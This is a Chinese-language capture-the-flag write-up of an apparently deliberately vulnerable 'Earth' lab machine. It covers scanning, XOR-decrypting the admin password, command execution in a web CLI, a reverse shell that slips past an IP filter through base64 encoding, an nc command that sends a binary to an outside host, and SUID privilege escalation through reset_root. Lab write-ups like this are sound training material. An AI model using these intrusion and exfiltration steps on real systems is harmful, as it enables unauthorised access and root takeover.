快速扫描
浏览器访问http://10.9.46.117,发现无法正常访问页面,显示400,再次访问https://10.9.46.117,发现出现服务器Apache的页面,一度以为不是该页面
补充:当我们在浏览器中打开一个需要登陆的网站的时候,系统会首先从Hosts文件中去寻找对应的IP地址,然后去打开相应的网站,一般来说国内的网站都能顺利的打开,但是像GitHub、Coursera等网站的访问会出现一些问题
这时候可以通过修改Hosts文件来解决网站无法访问的问题
对于Lotus的服务器和一些数据库服务器,在访问时如果直接输入IP地址那是不能访问的,只能输入服务器名才能访问。那么我们配置好Hosts文件,这样输入服务器名就能顺利连接了
补充:修改Hosts文件解决网站访问问题 - 知乎 (zhihu.com)
深度扫描
从nmap深度扫描中,我们知道80端口(http)开启,22(ssh)端口开启,服务器版本Apache2.4.51 ,使用的服务器插件为mod_wsgi4.7.1/python3.9,443端口开启,使用的服务器插件为mod_wsgi4.7.1/python3.9,DNS域名解析
所以,我们要在hosts文件中添加本地缓存
注意:两个域名都要添加,而且访问的时候,最好使用域名访问,使用ip访问不成功,例如:https://earth.local, https://terratest.earth.local
补充:Web服务器网关接口(Python Web Server Gateway Interface,缩写为WSGI)是为Python语言定义的Web服务器和Web应用程序或框架之间的一种简单而通用的接口。自从WSGI被开发出来以后,许多其它语言中也出现了类似接口。
注意:两个域名都要扫描,扫出了不同目录
重要信息:
1.RSA,XOR(异或加密算法)
2地球已经确认他们收到了我们发送的消息(地球页面的那些字符串)
3.ageststdata .txt用于测试加密(地球页面作为测试页面)
4.terra用作管理门户的用户名。
网页源码没有发现可利用的东西
当看到上述页面时,认为可能有文件上传漏洞,发送一句话木马,后来经过尝试,发现不能利用,我们尝试从admin页面出发,结果发现需要登录
根据放射性测年法估计和其他证据,地球形成超过45亿年以前的事了。在地球历史的最初10亿年里,生命出现在海洋中,并开始繁衍影响地球的大气和表面,导致厌氧生物和后来的好氧生物的增殖生物。一些地质证据表明,生命可能早在41亿年前就出现了前
这是什么鬼?地理知识,事出反常必有妖,结果想破脑袋也想不出来,使用资源共享,发现需要这段文字配合index页面(有地球图片的那个页面)的那些16进制的字符串解密。
经过解密,发现一个字符串比较特殊,
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
这又是搞什么,经过七七四十九分钟后,不想了,使用资源共享,知道了它可能是密码
earthclimatechangebad4humans
登录页面后,发现是一个命令框,先尝试常规命令
我们发现当在admin页面的CLI中输入Linux常规命令时,竟然可以显示对应的内容,这就好办了
查看用户
查看内核版本
查看特殊权限
说明apache用户没有特殊权限
查看敏感文件
上述某些敏感信息虽然都可以都可以命令行显示出来,但是显然对于黑客来说,这远远是不够的,还是需要提权
既然输入CLI框中的命令可以起作用,我们可以是否可以利用nc反弹shell,与服务器建立连接,从而进入服务器内部
我们利用NC直接反弹,利用bash命令反弹,利用python命令反弹都不起作用,经过长达1小时的辗转反侧,使用共享资源,发现他对ip地址进行了过滤。
我们使用base64编码,将整个命令直接base64
使用反弹shell,与服务器建立连接
常规命令可以使用,find可以用,但是sudo不可用,说明可能使用suid方式提权,但是发现不能进入别的目录(权限不足),绞尽脑汁,最终决定使用资源共享
查看SUID程序:find / -perm -u=s -type f 2>/dev/null
根据搜索出来的文件,可以尝试通过/usr/bin/reset_root进行提权。
直接运行结果
通过NC将文件拿出来,strace进行动态分析:
nc -nv 192.168.56.102 4445 < /usr/bin/reset_root
strace ./reset_root_file```
可以看到上面运行reset_root时系统输出的两句话之间,报错找不到3个文件:
/dev/shm/kHgTFI5G
/dev/shm/Zw7bV9U5
/tmp/kcM0Wewe
touch创建这三个文件,再运行reset_root,发现将root密码重置成了Earth
思路:
我们通过webshell,利用nc反弹shell,进入服务器内部 ,通过suid方式提权。
手段:
1.掌握了一种加密方式,通过密文与XOR加密方式(或其他加密方式),这样更加安全,解密缺一不可。(可利用专门的在线解密工具)
2.掌握了一种IP绕过的方式(建立反弹shell),base64编码,16进制编码等
3.提权方式(suid)
难点:1.解密经验欠缺(第一次遇到,搜索方式不对,只能使用资源共享)
2.建立反弹shell,遇到ip绕过,没有思路(反弹shell不起作用,直接懵逼,没有思路,使用资源共享)
3.知道使用suid提权(之前遇到过此类情况),但是不知道具体怎么做(使用资源共享)
收获:1.敏感性(网站页面信息是个十分神奇的东西,说它没用,它会在你意想不到的地方发挥至关重要的作用,说它有用,你有时候又不知道它到底有什么用)
2.思路(拓宽了思路,知道有这样一种套路,具体流程,待总结)
3.手段(在线解密工具,suid提权中的reset_root提权,反弹shell的ip绕过)